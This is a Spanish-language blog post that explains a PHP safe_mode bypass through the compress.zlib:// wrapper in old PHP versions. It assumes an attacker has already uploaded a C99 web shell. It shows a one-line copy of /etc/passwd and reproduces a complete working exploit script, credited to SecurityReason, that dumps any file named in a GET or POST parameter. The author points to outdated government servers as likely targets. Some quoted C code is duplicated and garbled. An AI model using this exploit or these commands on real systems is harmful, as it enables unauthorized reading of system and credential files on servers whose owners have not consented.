PHP 4.4.2 y anteriores
PHP 5.1.2 y anteriores
PHP 5.1.2 y anteriores
Ahora pasando al tema de como funciona el Bug, cuando uno pone una shell en un host ya sea por un upload bypass o quizá por un RFI o un LFI o quien sabe que Bug pues ven ustedes que en la Shell que usemos ahora hablemos de la C99 esta shell es muy completa y ella nos dice si el safemode está ON o si el mismo está en OFF en el caso de que este este off ustedes podrian administrar todo sin problema pero si esta en on se le reducirian sus modos de administracion a solo lectura y sin upload, entonces ahora nosotros lo que haremos será burlar el Safemode y como lo haremos pues con un error que el php tiene que está en "compress.zlib ://" por la mala administración de este modo y en "main / safe_mode.c " por el codigo que usan...
Nuestro error esta aqui:
wrapper = php_stream_locate_url_wrapper(filename, NULL,
STREAM_LOCATE_WRAPPERS_ONLY TSRMLS_CC);
if (wrapper != NULL)
return 1;
STREAM_LOCATE_WRAPPERS_ONLY TSRMLS_CC);
if (wrapper != NULL)
return 1;
Lo que pasa con ese code es que si ponemos que retorne otra cosa que no sea 1 pues parará el safemode por el error por ejemplo podriamos hacer esto:
("compress.zlib://"), function
php_stream_locate_url_wrapper() return algo variable and safe mode
php_stream_locate_url_wrapper() return algo variable and safe mode
return 1
Ahora le haremos un pequeño cambio solo imaginense esto:
copy("compress.zlib:///etc/passwd", "/home/html/for/code/bypass/robada.txt");
Me estaría robando su fichero passwd y con eso podria obtener mas info de la que debería
Miren ahora solo con un pequeñisimo code cambiaremos el safe-mode a Off
if (PG(safe_mode) &&(!php_checkuid(Z_STRVAL_PP(source), NULL,
CHECKUID_CHECK_FILE_AND_DIR))) {
RETURN_FALSE;
}
return true.
CHECKUID_CHECK_FILE_AND_DIR))) {
RETURN_FALSE;
}
return true.
Se dieron cuenta que solo con cambiar un Val lo hicimos de una y ensima de todo osea nisiquiera hemos revisado todo por que pudimos haber buscado los comandos como copy leer como funcionan y hacer barbaridades...
Bueno con eso ya saben basicamente como se bypassea este filtro... ahora para aquellos que testean servidores grandes les puedo facilitar un Exploit...
/*
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
by Maksymilian Arciemowicz SecurityReason.Com
cxib [at] securityreason [dot] com and max [at] jestsuper [dot] pl
pozdro sp3x
*/
$file=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
echo "
\n";");
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die("\nSet varibles \$tymczas, \$file or use for varible file POST, GET
like
?file=/etc/passwd\n
COLOR=\"RED\">SecurityReason.Com
Exploit
} else {
$file=$_POST['file'];
}
} else {
$file=$_GET['file'];
}
}
$temp=tempnam($tymczas, "cx");
if(copy("compress.zlib://".$file, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "--- Start File ".htmlspecialchars($file)."
-------------\n".htmlspecialchars($tekst)."\n--- End File
".htmlspecialchars($file)." ---------------\n";
unlink($temp);
die("\nFile
".htmlspecialchars($file)." has been already loaded. SecurityReason Team
;]");
} else {
die("
".htmlspecialchars($file)." dosen't exists or you don't have
access.
}
?>
Bueno espero que esto les sirva a todos recuerden todo esto es con buena intención no con la de presumir lo que sabemos por sierto esto se puede reparar pero es un poco complejo haría falta poder acceder a otros directorios pero pueden evitar estos ataques configurando su htaccess de sierta manera...
Se que estas versiones de PHP no son actuales pero hay muchos servidores desactualizados y se sorprenderian de saber que muchos gubernamentales tienen este php a sus servicios...
Espero que esto les haya Gustado y recuerden que fue escrito por Dr.White pra su blog www.seguridadblanca.blogspot.com
fuentes: wikipedia, SecurityReason & Security-Focus
Saludos
Dr.white
No hay comentarios:
Publicar un comentario